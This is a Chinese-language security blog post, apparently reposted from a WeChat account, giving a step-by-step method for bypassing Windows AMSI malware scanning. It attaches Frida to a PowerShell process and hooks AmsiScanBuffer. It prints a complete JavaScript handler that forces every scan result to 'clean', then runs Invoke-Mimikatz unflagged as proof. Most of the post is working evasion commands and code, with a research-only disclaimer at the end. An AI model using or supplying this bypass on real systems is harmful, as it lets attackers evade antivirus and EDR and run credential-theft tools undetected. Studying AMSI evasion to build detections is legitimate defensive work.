PowerShell AMSI 绕过:使用 Frida 实现运行时钩子

admin 2025年5月19日01:22:11评论2 views字数 1658阅读5分31秒阅读模式

介绍

AMSI(反恶意软件扫描接口)是一项 Windows 功能,允许安全解决方案在运行时检查脚本并检测恶意内容。在本文中,我们将探讨如何绕过已知恶意 PowerShell 命令的 AMSI 检测——Invoke-Mimikatz使用 Frida 在运行时钩住并操纵该AmsiScanBuffer函数。

什么是 AMSI?

  • AMSI 是 Windows 用于扫描内存缓冲区中是否存在恶意内容的 API。

  • 防病毒软件和 EDR 使用它来捕获内存中的威胁。

  • PowerShell、CScript 和其他解释器使用它在执行之前扫描脚本内容。

旁路概念

  • 使用动态检测工具包 Frida 来挂接到该AmsiScanBuffer函数。

  • 拦截扫描请求。

  • 操纵结果以欺骗 AMSI 认为缓冲区是干净的。

PowerShell AMSI 绕过:使用 Frida 实现运行时钩子
1. 打开 PowerShell 并获取其进程 ID -打开 PowerShell 并运行以下命令以获取当前正在运行的 PowerShell 进程的进程 ID (PID)。
Get-Process -Name powershell
PowerShell AMSI 绕过:使用 Frida 实现运行时钩子
2. 将 Frida 附加到 PowerShell 进程——现在打开命令提示符(或新的终端窗口)并运行以下命令:
frida-trace -p -x amsi.dll -i Amsi*

此命令:

  • 将 Frida 附加到 PowerShell 进程

  • 加载amsi.dll到上下文中

  • 挂钩以 开头的任何函数Amsi(如AmsiScanBuffer、AmsiOpenSession等)

3. 找到并编辑钩子脚本——运行命令后,Frida 将自动在当前目录下的__handlers__/或直接以 为生成匹配函数的跟踪处理程序脚本。在文本编辑器中amsiscanbuffer.js打开生成的文件。AmsiScanBuffer.js
PowerShell AMSI 绕过:使用 Frida 实现运行时钩子
4.修改处理程序脚本 –将的内容替换AmsiScanBuffer.js为以下代码:
defineHandler({    onEnter: function(log, args, state) {        log('[*] AmsiScanBuffer()');        log('|- amsiContext: ' + args[0]);        log('|- buffer: ' + Memory.readUtf16String(args[1]));        log('|- length: ' + args[2]);        log('|- contentName: ' + args[3]);        log('|- amsiSession: ' + args[4]);        log('|- result: ' + args[5] + 'n');        this.resultPointer = args[5];    },    onLeave: function(log, retval, state) {        log('[*] AmsiScanBuffer() Exit');        resultPointer = this.resultPointer;        log('|- Result value is: ' + Memory.readUShort(resultPointer) + 'n');        // Force result to 0 (AMSISCAN_RESULT_CLEAN)        Memory.writeUShort(resultPointer, 0);    }})

其作用:

  • 记录正在扫描的 AMSI 缓冲区内容

  • 拦截 AMSI 结果

  • 强制结果为“干净”(值 0),因此 AMSI 认为它是无害的

5. 使用恶意命令进行测试——现在,在同一个 PowerShell 窗口中:

Invoke-Mimikatz
  • 通常情况下,AMSI 会阻止此操作。

  • 现在,因为我们钩住了并强制清除了扫描结果——它会被执行而不会被标记

结论

通过使用 Frida 进行钩子攻击AmsiScanBuffer,我们可以拦截内存中的恶意软件检测结果,并用“干净”的结果覆盖它,从而有效地绕过 AMSI,而无需修补或禁用它。

原文始发于微信公众号(Khan安全团队):PowerShell AMSI 绕过:使用 Frida 实现运行时钩子

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月19日01:22:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PowerShell AMSI 绕过:使用 Frida 实现运行时钩子https://cn-sec.com/archives/4078209.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息